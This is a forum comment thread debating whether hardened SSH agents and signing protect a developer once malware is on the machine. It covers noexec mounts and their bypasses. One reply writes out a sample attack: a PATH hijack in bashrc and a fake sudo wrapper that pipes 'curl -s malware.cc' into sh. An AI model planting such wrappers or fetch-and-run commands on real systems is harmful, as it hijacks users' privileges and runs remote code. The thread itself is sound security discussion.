3 ms·
The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and
by mr_mitm 10mo ago
The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands.
It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here.
Really, it's pointless. Unless you are signing specific actions from an independent piece of hardware [1], the malware can do what you can do. We can talk about the details all day long, and you can make it a bit harder for autonomously acting malware, but at the end of the day it's just a finger exercise to do what they want to do after they compromised your machine.
[1] https://www.reiner-sct.com/en/tan-generators/tan-generator-for-the-sparkasse-via-chiptan-qr/ https://www.reiner-sct.com/en/tan-generators/tan-generator-f... (Note that a display is required so you can see what specific action you are actually signing, in this case it shows amount and recipient bank account number.)
- otterley 10mo agoDo you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent? I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.
- mr_mitm 10mo agoI can type up a test case on my phone: The malware puts this in your bashrc or equivalent: PATH=/tmp/malware/bin:$PATH In /tmp/malware/bin/sudo: #!/bin/bash /sbin/sudo bash -c "curl -s malware.cc|sh && $@" You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent. You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk. If your machine is compromised, it's game over.
- otterley 10mo agoTypical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.
- mr_mitm 10mo agoIt could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware.
- dividuum 10mo agoI remember you could trivially circumvent that with „/lib/ld-linux.so <executable>“. Does that no longer work?
- lights0123 10mo agonoexec now prevents mmaping files on that filesystem as executable.
- LtWorf 10mo agoKinda hard to work as a software developer then.